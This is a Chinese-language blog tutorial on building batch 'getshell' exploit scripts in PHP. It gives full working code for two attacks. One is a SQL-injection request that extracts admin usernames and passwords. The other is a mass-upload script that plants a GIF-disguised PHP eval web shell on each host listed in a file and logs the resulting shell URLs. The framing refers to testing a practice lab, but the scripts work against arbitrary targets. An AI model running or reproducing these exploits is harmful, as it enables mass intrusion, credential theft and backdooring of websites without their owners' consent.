批量 getshell exp 编写

摘要

1、简介

 


批量exp 有什么用,例如某个大型cms【cms内容管理系统】如dedecms、WordPress、phpcms 突然出了漏洞。各大安全src发布预警信息。
经过安全研究员摸索,poc很快地发布到网上,提供安全人员检测。 网站管理员和运维人员
也开始 处理这次事件。
如果你的企业或任务上很多这样的网站,并不知道是否存在漏洞,总不能每个用手工去测试。
编写批量检测 这样就要提高效率,进行批量测试。


2、php学习


以前编写的exp脚本 都需要命令行运行 exp  如: php.exeexp.php  这样感觉不够人性化,也不方便。


想要在php.exe exp.php filename.txt   filename.txt 里面是你要检测的网址。
如何做到这点。 php提供了一个变量 $argv  当这个变量仅在register_argc_argv 打开时可用。 注参开 http://php.net/manual/zh/reserved.variables.argv.php

<?php var_dump($argv); ?>

 

通过这个命令可以看出 这里有两个数组 0默认是脚本名 1 是txt文件名。

漏洞就拿 暗月靶机系统 上传漏洞测试那个exp

<?php
$site="www.moontester.com";
$payload="article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin";
$key ="PHPSESSID=gpcjcspj2oje5j3h2dtb8c8895";

function send_http($site,$payload,$key){
        $fp = fsockopen($site, 80, $errno, $errstr, 30);
        if (!$fp) {
                echo "$errstr ($errno)<br />\n";
        } else {
                $out = "GET /{$payload} HTTP/1.1\r\n";
                $out .= "Host:{$site} \r\n";
                $out .= "Connection: keep-alive\r\n\r\n";
                $out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
                $out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
                $out .="Cookie:{$key}\r\n";
                fwrite($fp, $out);
                while (!feof($fp)) {
                        $resp .=  fgets($fp, 1024);
                }
                fclose($fp);
                return $resp;
        }
        
        
}

$html = send_http($site,$payload,$key);
if($html){
        preg_match('/~(.*?)~/', $html,$m);
        if($m[1]){
                echo "[+]{$m[1]}[+]";
        }else{
                echo "[!]error[!]";
        }
        
}else{
                echo "[!]error[!]";
        }
?>


批量的思路是
读取文本 每一个文本行都要进行测试 把结果保存在文本上。
这个exp 现在进行修改。修改的思路是 读取文件,将里的url遍历测试,把结果保存起来。
完整的利用代码

<?php
function http_send($host, $packet){
        $sock = fsockopen($host, 80);
        
        if(!$sock){
                print "\n[-] No response from {$host}:80 Trying again...";
                $sock = fsockopen($host, 80);
        }
        
        fputs($sock, $packet);
        
        while (!feof($sock)) {
                $resp .= fread($sock, 1024);
        }
        
        fclose($sock);
        return $resp;
}
 
function data($host,$filename){
        
        $payload  = "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name='file'; filename='{$filename}'\r\n";
        $payload .= "Content-Type:  image/jpeg\r\n\r\n";
        $payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\r\n";
        $payload .= "-----------------------------86531354118821\r\n";
        $payload .= "Content-Disposition: form-data; name='sub'";
        $payload .="\r\n\r\n";
        $payload .="12132\r\n";
        $payload .="-----------------------------86531354118821--\r\n";
        $packet  = "POST /upload.php HTTP/1.1\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Content-Type: multipart/form-data; boundary=---------------------------86531354118821\r\n";
        $packet .= "Content-Length: ".strlen($payload)."\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet .= $payload;
        
        return $packet;
}

function w($fileName,$data){
        fwrite(fopen($fileName,"a+"),$data."\r\n");
}
 

function exploit($host){
        $filename  = "moon.php";
        $resulit='';
        $html_str =http_send($host,data($host,$filename));
        preg_match("/Stored in: (.*?)</", $html_str,$m);
        if ($m[1]){
                $resulit="http://".$host."/".$m[1];
        }
        return $resulit;
}
 
if(count($argv)<3){
        print $argv[0]." url.txt save.txt";
        exit;
}

$url_txt = $argv[1];
$sava_file = $argv[2];
$myurl = file($url_txt);
foreach($myurl as $value){
                echo "Testing {$value}";
                $v = substr($value,strpos($value,"//")+2);
                $v = trim(str_replace("/","",$v));
                $result = exploit($v);
                if($result){
                        
                        w($sava_file,$result);
                }
                sleep(1);
}


这里的意思就是 cmd命令下 传入的值 不能小于三个 小于三个就会退出程序

if(count($argv)<3){

        print $argv[0]." url.txt save.txt";

        exit;

}

读取到的文本进行遍历测试

foreach($myurl as $value){

                echo "Testing {$value}";

                $v = substr($value,strpos($value,"//")+2);

                $v = trim(str_replace("/","",$v));

                $result = exploit($v);

                if($result){

                        

                        w($sava_file,$result);

                }

                sleep(1);

}

截取内容  http://www.moontester.com

$v = substr($value,strpos($value,"//")+2);

终端下的命令 url.txt 要检测的文本文件,save.txt 保存文件

因为没有设置php的环境变量 所以要在php.exe 目录执行exp 文件夹里面程序就要在文件名前加上路径

php exp/exp06.phpexp/url.txt exp/save.txt

读取到的文本进行遍历测试

1.jpg

目前评论:0 条

发表评论